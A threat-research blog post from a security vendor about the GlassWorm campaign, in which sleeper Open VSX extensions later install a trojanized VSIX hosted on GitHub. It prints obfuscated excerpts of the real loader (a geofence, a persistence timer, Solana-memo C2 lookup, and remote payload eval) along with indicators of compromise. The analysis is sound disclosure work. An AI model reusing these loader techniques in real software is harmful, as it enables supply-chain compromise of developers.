GlassWorm Sleeper Extensions Activate on Open VSX, Shift to GitHub-Hosted VSIX Malware
We identified over 20 additional malicious extensions, along with over 20 related sleeper extensions, some of which have already been weaponized.
- Philipp Burckhardt

- Peter van der Zee

Last week, Socket reported on a new wave of the continued campaign of GlassWorm malware spread via OpenVSX extensions, with 72 extensions detected.
Over the weekend we identified 20+ additional malicious extensions tied to this campaign and another ~20 "sleeper" extensions that appear related but at the time did not yet deliver the loader. In several cases, an innocent-looking extension, often a typosquat, is published with no malware. Later, sometimes hours, days, or even weeks afterward, an update introduces the malicious loader.
On March 17 - 18, 2026, we observed previously dormant extensions activated and weaponized in real time: updates converted them into extension packs pulling in malicious dependencies, and at least one sleeper extension (lauracode.wrap-selected-code) was updated to directly download and install a malicious VSIX from GitHub across multiple IDEs. This is a significant evasion upgrade: it does not depend on any Open VSX-hosted dependency. Instead, the malicious payload lives on GitHub infrastructure.
The Eclipse Foundation's Open VSX security team has been very responsive throughout this campaign, removing malicious extensions and their associated publisher accounts. Following our reports, 96-studio.json-formatter and eight sleeper extensions that were activated on March 17 have been taken down. At the time of publication, the latest wave of extensions from March 18, 2026, including lauracode.wrap-selected-code and the extension pack droppers pulling it in, remain live on Open VSX. We have reported them to the Eclipse Foundation ahead of this publication. Socket customers have been protected throughout: every extension in this campaign was flagged as either a typosquat or malware package, guarding against them entering customer environments before activation.

Socket AI Scanner’s analysis of the malicious lauracode.wrap-selected-code extension identifies a malware loader in extension/out/extension.js that runs on extension load, enumerates locally installed IDEs, retrieves a follow-on VSIX from a hardcoded GitHub release path, and uses editor CLI install mechanisms to push the payload into additional developer environments, and follow-on arbitrary code execution.
Timeline
#Sleeper extensions planted (March 12, 2026)
#- Mar 12 ~18:29 UTC —
lauracode.wrap-selected-code@0.0.1published. No malware. High-confidence GlassWorm sleeper. - Mar 12 ~18:51 UTC —
96-studio.json-formatter@0.0.1published. No malware. Sleeper associated with GlassWorm campaign.
Both extensions appeared benign at initial publication. There was nothing in the code itself to flag as malicious; our threat assessment was based on publisher patterns and behavioral signals consistent with prior GlassWorm waves.
Weekend wave — New impersonation extensions (March 14 - 15, 2026)
#Over the weekend, a new batch of impersonation extensions was published to Open VSX, expanding the campaign's footprint. These targeted a wide range of popular developer tools:
- Mar 14 ~18:12 UTC —
msw-tm.component-vetur-toolkit@0.37.3 - Mar 14 ~18:17 UTC —
yamal-dext.wonder-workspace-icons@0.10.3 - Mar 14 ~19:01 UTC —
marcus-tm.ruby-intelligence-toolkit@0.10.1 - Mar 14 ~19:13 UTC —
namop-dex.claude-code-assistant@2.1.46 - Mar 14 ~19:18 UTC —
awwwadem.language-professional-tools@1.20.24 - Mar 14 ~19:34 UTC —
codevunm-tm.cluster-kuberntes-manager@1.0.6 - Mar 14 ~19:40 UTC —
sweaty-tstudio.quarto-report-studio@1.127.0 - Mar 14 ~20:06 UTC —
codbro-dxp.explorer-xml-xquery@1.0.3 - Mar 14 ~20:10 UTC —
sxatvo-tm.compile-runnner-build@1.0.89 - Mar 14 ~20:15 UTC —
calow-dex.prisma-database-schema-tools@7.0.4 - Mar 14 ~20:25 UTC —
croct-studio.antigravity-model-usage-dashboard@2.1.35 - Mar 15 ~08:25 UTC —
specstudio.code-wakatime-activity-tracker@25.5.9 - Mar 15 ~08:38 UTC —
tool-studio.prettier-pro-code-format@11.0.3 - Mar 15 ~09:54 UTC —
gorth-tm.your-project-manager-organizer@13.0.4 - Mar 15 ~10:05 UTC —
dev-tm.code-python-indent-helper@1.21.3 - Mar 15 ~10:10 UTC —
flape-osx.align-code-format-tool@1.4.6 - Mar 15 ~10:13 UTC —
floktokbok.autoimport-smart-tool@1.5.8
Sleeper Extensions turn into extension packs (March 17, 2026)
#On March 17, several previously dormant extensions received updates that converted them into extension packs, each pulling in 96-studio.json-formatter , the sleeper dependency planted on March 12.
- Mar 17 ~13:31 UTC —
spacetoow.vsc-python-indent@1.21.1,spacetoow.vsc-python-indent@1.21.3 - Mar 17 ~19:31 UTC —
spacetoow.vsc-python-indent@1.21.4 - Mar 17 ~19:32 UTC—
namop-dex.claude-code-assistant@2.1.47 - Mar 17 ~19:32 UTC —
msw-tm.component-vetur-toolkit@0.37.4 - Mar 17 ~19:32 UTC —
spacetoow.vsc-python-indent@1.21.5 - Mar 17 ~19:32 UTC —
cod-vok.arko-dev-devsecops@1.0.4 - Mar 17 ~19:32 UTC —
oxigener-tmp.sql-turbo-manager@0.28.10 - Mar 17 ~19:32 UTC —
otobo-vs.csv-query-tsv-rainbow@3.3.4 - Mar 17 ~19:32 UTC —
awesome-codespace.jinja-language-support@0.3.2 - Mar 17 ~19:32 UTC —
yamal-dext.wonder-workspace-icons@0.10.4
All of these now pull in 96-studio.json-formatter via extensionPack. At this time, 96-studio.json-formatter@0.0.1 did not deliver a malicious payload and remained a sleeper.
96-studio.json-formatter turns malicious (March 18, 2026)
#The sleeper planted on March 12 activated in two stages on March 18:
- Mar 18 ~12:58 UTC —
96-studio.json-formatter@0.0.2. First activation. Scans for IDEs and force-installs a remote VSIX. - Mar 18 ~15:31 UTC —
96-studio.json-formatter@0.0.4. Updated version. Same behavior, with cleanup and expanded targeting.
Socket's AI scanner flagged both versions within minutes of publication. The extension scans the host for installed IDEs, downloads a VSIX from a hardcoded GitHub releases URL (https://github[.]com/francesca898/dqwffqw/releases/download/vsx/autoimport-smart-tool-2.5.8[.]vsix), and force-installs it into every detected editor on activation using --install-extension --force. The publisher account (martina0094) is the same account behind rubyideext.ruby-ide-extension, confirmed GlassWorm extension from our March 13, 2026 report. This is the first time in the GlassWorm campaign that the payload has been delivered from outside the Open VSX registry, moving the malicious binary out of reach of the Eclipse Foundation's takedown process.
The diff between v0.0.2 and v0.0.4 reveals two details worth noting. The v0.0.2 dropper contained a Russian-language error string ("при загрузке vsix" — "when downloading vsix") that was scrubbed in v0.0.4. The update also added Positron, a newer data-science IDE from Posit, to the list of targeted editors alongside VS Code, VSCodium, Cursor, and Windsurf.
This is the extension that the 11 packages from the wave on March 17 were already wired to install via extensionPack. With this update, every one of those extensions, including impersonators of Claude Code, Python Indent, Vetur, DevSecOps tooling, SQL managers, CSV/TSV tools, Jinja support, and workspace icons, is now actively delivering malware. The threat actor planted the wiring on March 17 and loaded the weapon on March 18, roughly 20 hours later.
Another wave of extension pack droppers (March 18, 2026)
#At nearly the same time as the 96-studio activation, a new wave of extension pack droppers appeared: this time wired to pull in lauracode.wrap-selected-code, which had not yet activated.
- Mar 18 ~13:09 UTC —
daeumer-web.align-format-tool@1.4.6 - Mar 18 ~13:12 UTC —
baksmink.vscode-quokka-extension@1.0.756 - Mar 18 ~13:12 UTC —
bansheejust22.retro-vhs-theme@1.0.1 - Mar 18 ~13:12 UTC —
craz2team.vscode-todo-extension@1.0.10 - Mar 18 ~13:12 UTC —
quickrunn.auto-run-command-quick@1.6.2 - Mar 18 ~13:12 UTC —
spacetoow.vsc-python-indent@1.21.7(preceded byspacetoow.vsc-python-indent@1.21.6at 13:08) - Mar 18 ~13:12 UTC —
craz2team.vscode-todo-extension@1.0.10(preceded bycraz2team.vscode-todo-extension@1.0.9at 13:08)
All use the same extensionPack abuse pattern to pull in the newly turned malicious lauracode.wrap-selected-code extensions. These extensions remained live at this time.
lauracode.wrap-selected-code activates (March 18, 2026)
#At approximately 2:02 PM UTC on 03/18, Socket's AI scanner flagged the recently published lauracode.wrap-selected-code@0.0.2.
- Mar 18 13:57 UTC —
lauracode.wrap-selected-code@0.0.2. Sleeper activated. Downloads VSIX from GitHuB (https://github[.]com/chiara585/fwefwewvwfe/releases/download/dqdwd/qwdfewfqzxv[.]vsix) and auto-installs it into all detected IDEs.
Technical Analysis
#The VSIX downloaded by both activated sleeper extensions is autoimport-smart-tool-2.5.8.vsix — a trojanized clone of the popular Auto Import extension by steoates. The TypeScript source code is copied verbatim from the original. The malware exists only in the compiled JavaScript output, making source-level code review useless.
The injection point: source/compiled mismatch
#The critical detection signal is the line count anomaly between TypeScript source and compiled JavaScript. Every legitimate file in this extension compiles to roughly 0.6 - 0.8× the source line count, which is normal for TypeScript compilation that strips type annotations. The exception is extension.js:

The clean src/extension.ts is 36 lines. The compiled out/src/extension.js is 659 lines, with over 620 lines of obfuscated malware injected between the activate() function signature and the legitimate function body.
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const error_helper_1 = require("./helpers/error-helper");
const auto_import_1 = require("./auto-import");
function activate(context) {
// ---- 623 lines of obfuscated malware begin here ----
(function (g, L) {
function i(g, L, k, d) { return Q(d - -0xd1, k); }
const k = g();
function r(g, L, k, d) { return Q(L - -0x1e0, k); }
while (!![]) {
try {
const d = parseInt(r(0x18, 0x4d, "C8oW", 0xa)) / 0x1 + /* ... */
if (d === L) break;
else k["push"](k["shift"]());
} catch (z) { k["push"](k["shift"]()); }
}
})(A, 0x2dea8);
// ... 600+ more lines of obfuscated payload ...
// ---- Legitimate code starts at line 640 ----
try {
if (context.workspaceState.get("auto-import-settings") === undefined) {
context.workspaceState.update("auto-import-settings", {});
}
let extension = new auto_import_1.AutoImport(context);
let start = extension.start();
if (!start) { return; }
extension.attachCommands();
extension.attachFileWatcher();
extension.scanIfRequired();
} catch (error) {
error_helper_1.ErrorHelper.handle(error);
}
}
exports.activate = activate;
function deactivate() {}
exports.deactivate = deactivate;The source map only references the clean TypeScript, confirming the injection happened post-compilation. The legitimate code is pushed to the very end of the function, starting at line 640. The malware uses a layered obfuscation scheme combining RC4 string decryption, an encrypted string array of 176 entries shuffled at runtime until a checksum matches, multiple proxy decoder functions with different offset calculations, and string splitting to evade grep-based detection (e.g., "getSignatu" + "resForAddr" + "ess" → getSignaturesForAddress).
Execution flow
#Stage 0 — Activation delay. A 10-second setTimeout after VS Code loads the extension. The extension uses activationEvents: ["*"] to activate on every VS Code startup regardless of file type.
Stage 1 — Russian geofence. Before executing, the malware checks whether the victim is in Russia by testing the hostname, LANG, LANGUAGE, LC_ALL, and Intl.DateTimeFormat().resolvedOptions().locale against Russian locale patterns (ru_RU, ru-RU), checking the timezone against 13 Russian cities (Moscow through Kamchatka), and verifying the UTC offset falls between +2 and +12. If the check passes, the malware exits immediately. This is a well-known pattern in Eastern European cybercrime to avoid domestic law enforcement. See the code snippet with comments added:
function c() {
let g = [
D[C(0x628, 0x657, 0x627, "c9p[")]()[C(0x589, 0x5a7, 0x5d7, "iq#N")],
process[C(0x60e, 0x689, 0x650, "w*MI")][I(0x5fd, "8uCn", 0x5b1, 0x591)],
process["env"][I(0x5da, "%9Lf", 0x5f2, 0x639)],
process[C(0x5b3, 0x5ab, 0x5cf, "[NiT")][I(0x628, "w*MI", 0x5f0, 0x636)],
Intl[I(0x54a, "3U&m", 0x57e, 0x5be) + I(0x5cb, "ImMG", 0x5b9, 0x590)]()
[C(0x58a, 0x5a6, 0x5dd, "L1oH") + I(0x592, "j&ks", 0x575, 0x565)]()
[C(0x559, 0x561, 0x5ac, "&VJq")],
][I(0x5ec, "W$z(", 0x5a8, 0x5ff)](
(H) => H && /ru_RU|ru-RU|Russian|russian/i[I(0x5c4, "BaDM", 0x5ba, 0x603)](H),
),
k = [
C(0x583, 0x556, 0x5aa, "%9Lf") + "cow", // Europe/Moscow
I(0x59b, "c9p[", 0x56f, 0x5b0) + "iningrad", // Europe/Leningrad
"Europe/Sam" + C(0x631, 0x663, 0x60c, "(BWX"), // Europe/Samara
C(0x582, 0x5c8, 0x5be, "y^1F") + C(0x5d2, 0x662, 0x61d, "t8Ly"),
C(0x61c, 0x628, 0x5d1, "j&ks"),
"Asia/Krasn" + "oyarsk", // Asia/Krasnoyarsk
I(0x55a, "3U&m", 0x5a2, 0x554) + "sk",
C(0x66e, 0x67e, 0x63f, "%9Lf") + "sk",
I(0x5ba, "Q5*G", 0x5eb, 0x5cc) + I(0x5b3, "h4pY", 0x5dd, 0x60a),
C(0x5c9, 0x608, 0x615, "%9Lf") + "an",
C(0x5a1, 0x602, 0x5f5, "%9Lf") + C(0x60f, 0x5e5, 0x5f6, "L1oH"),
I(0x5fa, "BfP%", 0x5ce, 0x5a3) + "r",
I(0x5cb, "Od5M", 0x5ab, 0x587),
],
z = -new Date()["getTimezon" + C(0x61d, 0x663, 0x639, "w*MI")]() / 0x3c,
m = z >= 0x2 && z <= 0xc; // UTC+2 through UTC+12
return g && (d || m);
}Stage 2 — Persistence. The malware writes a JSON file with a date timestamp to $HOME. On subsequent runs, it checks whether 48 hours have elapsed before re-executing the C2 polling chain. This rate-limits payload fetching to evade network monitoring and detection by dynamic analysis.
let L = process[o(0x4aa, 0x478, "T5e%", 0x483)][
w("Zid4", 0x1d4, 0x1fb, 0x22b) + "E" // process.env.HOME
] || D[o(0x52d, 0x542, "(BWX", 0x509)](), // os.homedir()
k = W[o(0x524, 0x4e8, "W$z(", 0x506)](L, w("iRO7", 0x1ec, 0x237, 0x232));
if (B[o(0x4d5, 0x4f2, "s[Yj", 0x4c7)](k)) { // fs.existsSync
let d = B["readFileSy" + "nc"](k);
try {
if (((d = JSON[w("L1oH", 0x1ad, 0x1f0, 0x1d6)](d)),
!(d?.[w("l1&*", 0x1d1, 0x227, 0x229)] && // d?.date
d[o(0x48f, 0x4c9, "s[Yj", 0x4a1)] + // d.date +
0x2 * 0x18 * 0x3c * 0x3c * 0x3e8 < // 2*24*60*60*1000 = 48hrs
Date[o(0x49f, 0x486, "p5Fk", 0x4bf)]()))) // Date.now()
return;
d[o(0x52b, 0x522, "zXRt", 0x528)] = Date[w("8uCn", 0x1f2, 0x1ec, 0x1e1)]();
B["writeFileS" + w("f$76", 0x249, 0x203, 0x213)](
k, JSON[w("D9da", 0x211, 0x1bb, 0x200)](d));
} catch {}
}Stage 3 — Solana blockchain C2. Instead of a traditional C2 server that can be taken down, the malware uses the Solana blockchain as a dead-drop resolver. It queries a hardcoded Solana wallet address via the getSignaturesForAddress JSON-RPC method, cycling through 9 different RPC endpoints as fallbacks (including Tatum, GetBlock, BlockEden, and solana-rpc.publicnode.com) with 100ms delays between retries and 1-second timeouts per endpoint. If no response is found, it polls every 10 seconds.
async function E(k, d = {}) {
let z = d[h(0x525, "T5e%", 0x541, 0x526)] || 0x3e8, // timeout: 1000ms
m = [
h(0x4ec, "@eK)", 0x4c2, 0x4b8) + h(0x54c, "f$76", 0x556, 0x500) +
b(0xb5, 0x10d, 0xc5, "t8Ly") + b(0x195, 0x148, 0x142, "8uCn"),
b(0x143, 0x150, 0x150, "1TGB") + h(0x4a5, "(BWX", 0x4d8, 0x4e1) +
h(0x484, "rZsk", 0x4dc, 0x4be) + ".tatum.io",
// ... 7 more RPC endpoints (GetBlock, BlockEden, publicnode, etc.)
];
for (let Y of m)
try {
let y = await fetch(Y, {
method: b(0xfa, 0xa8, 0xf7, "c#*y"), // "POST"
body: JSON[h(0x489, "l1&*", 0x4e1, 0x4cf)]({
jsonrpc: b(0xd6, 0x15d, 0x11e, "YULd"), // "2.0"
id: 0x1,
method: "getSignatu" + "resForAddr" + h(0x543, "BaDM", 0x543, 0x537),
params: [k[b(0xbd, 0x74, 0xaf, "#g^B")](), R],
}),
});
// ...returns on success, 100ms delay between retries
} catch (P) { continue; }
}The attacker posts a Solana transaction to their wallet with a memo containing JSON like {"link":"aHR0cHM6Ly8..."}. The base64 link field decodes to the payload server URL. To update the C2, the attacker simply posts a new Solana transaction; there is no infrastructure to maintain or defend, and nothing to take down.
function x() {
return new Promise(async (L) => {
let k = null;
for (; !k; ) {
let m = await E(
"6YGcuyFRJK" + G(0x458, "D9da", 0x47c, 0x45e) +
"9fScNUvPkG" + p("iRO7", 0x5e7, 0x63b, 0x5e3) +
G(0x441, "OS55", 0x4a7, 0x45c), // hardcoded Solana wallet address
z,
);
if (!Array[G(0x3db, "14u&", 0x438, 0x406)](m) || m[G(0x42a, "qkay", 0x406, 0x414)] == 0x0) {
await new Promise((H) => setTimeout(H, 0x2710)); // poll every 10s
continue;
}
k = m[G(0x405, "3U&m", 0x40d, 0x44b)](
(H) => H?.[G(0x458, "BaDM", 0x3fe, 0x42d)] // filter: has memo
)[0x0][G(0x461, "j&ks", 0x421, 0x470)]; // extract memo field
}
let d = k[p("s[Yj", 0x639, 0x62d, 0x68e)](/\\[\\d+\\]\\s*/, ""); // strip prefix
return L(JSON[p("z&H0", 0x60d, 0x664, 0x5c5)](d)); // parse as JSON
});
}Stage 4 — Payload fetch. The loader fetches the payload URL decoded from the Solana memo, sending the victim's os.platform() in the request headers. The response returns three components: the encrypted payload in the body, an initialization vector in a response header, and a decryption key in the secretkey header.
Stage 5 — Code execution. Three execution paths depending on context: short payloads (≤20 bytes) are base64-decoded and eval'd directly; macOS payloads follow a separate eval(atob()) path with the IV parsed from the response; other platforms get a full vm.Script.runInContext sandbox with access to require, Buffer, process, console, and timer functions — effectively granting arbitrary code execution with full Node.js privileges.
X(atob(z["link"]),
async (m, { tpznoln: H, qdnwauxts: Y, secretKey: secretKey }) => {
if (!H) {
console["log"]("payload\\x20no" + "t\\x20get,\\x20", atob(z["link"]));
return;
}
// Path A: short payload — direct eval
if (H?.[S(0x10c, "s[Yj", 0xff, 0x111)] == 0x14) { // length == 20
eval(atob(H));
return;
}
// Path B: macOS
if (D["platform"]() == "darwin") {
let _iv = Buffer[a(0x5db, 0x662, 0x62a, "3U&m")](Y, S(0xbc, "t8Ly", 0xa8, 0xec));
eval(atob(H));
// Path C: other platforms — full VM sandbox
} else {
let l = require("vm"),
R = {
require: require,
Buffer: require(S(0x75, "y^1F", 0xd8, 0xca))[S(0x12e, "t8Ly", 0xa4, 0xdd)],
atob: F((y) => Buffer[S(0xf6, "Od5M", 0x172, 0x13f)](y, "base64")
[S(0x12d, "%9Lf", 0x121, 0x125)](a(0x5da, 0x638, 0x5e6, "@eK)"))),
process: process, console: console,
setTimeout: setTimeout, setImmediate: setImmediate,
clearTimeout: clearTimeout, setInterval: setInterval,
clearInterval: clearInterval,
};
l[S(0xd5, "c9p[", 0x105, 0xfd) + a(0x5b4, 0x606, 0x5d8, "Od5M")](R);
new l[a(0x643, 0x638, 0x65f, "L1oH")](
"var\\x20https\\x20" + S(0xcb, "3U&m", 0xdb, 0x105) + /* ... */
"const\\x20secr" + S(0x123, "WfRl", 0x11b, 0xea) + secretKey +
/* ... IV and payload inserted into script string ... */
)[S(0x165, "p5Fk", 0x178, 0x16b) + "xt"](R); // .runInContext(R)
}
});Why this works
#The combination of techniques makes this loader unusually resilient:
- Source/binary divergence: Anyone auditing the TypeScript source sees clean code. The malware only exists in one file of the compiled VSIX artifact.
- Blockchain C2: No domain to take down, no IP to block. The attacker rotates C2 endpoints by posting a ~$0.001 Solana transaction.
- 9 RPC fallbacks: If one Solana provider blocks the request, eight others remain.
- Multi-stage payload: The extension itself contains no final malicious payload — it is a loader. The actual attack code is fetched at runtime and can be changed at will.
- Rate limiting: The 48-hour persistence cooldown and 10-second activation delay make dynamic analysis more difficult.
- Platform-aware execution: Different code paths for macOS vs. other platforms.
- GitHub as delivery infrastructure: The VSIX is hosted on throwaway GitHub accounts (
chiara585,francesca898), not on Open VSX. Registry-side takedowns do not affect delivery of the malicious VSIX files.
Social engineering
#Each trojanized extension clones the source, README, and metadata of a legitimate extension. False branding (e.g., "VS Code Official Extension"), falsified license headers, dead GitHub links, and aggressive SEO keyword stuffing in package.json are used to maximize visibility and lend legitimacy. The malicious code exists exclusively in the compiled output, so anyone who reviews the visible source or GitHub repository sees only the clean original.
Indicators of Compromise
#GitHub Delivery Infrastructure
#https://github[.]com/chiara585/fwefwewvwfe/releases/download/dqdwd/qwdfewfqzxv[.]vsixhttps://github[.]com/francesca898/dqwffqw/releases/download/vsx/autoimport-smart-tool-2.5.8[.]vsix
Solana C2
#- Wallet:
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ(continued from prior waves)
Threat Actor Aliases and Publisher Accounts
#laura6909—lauracode.wrap-selected-codemartina0094—96-studio.json-formatter,rubyideext.ruby-ide-extensionchiara585— GitHub account hosting VSIX; also Open VSX publisher ofpubruncode.ccoderunnerfrancesca898— GitHub account hosting VSIX
MITRE ATT&CK
#- T1195.001 — Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- T1204 — User Execution
- T1480 — Execution Guardrails
- T1059.007 – Command and Scripting Interpreter: JavaScript
- T1027.013 — Obfuscated Files or Information: Encrypted/Encoded File
- T1583.006 — Acquire Infrastructure: Web Services
- T1102.001 — Web Service: Dead Drop Resolver
For the full and continuously updated list of affected extensions, see our GlassWorm campaign page.




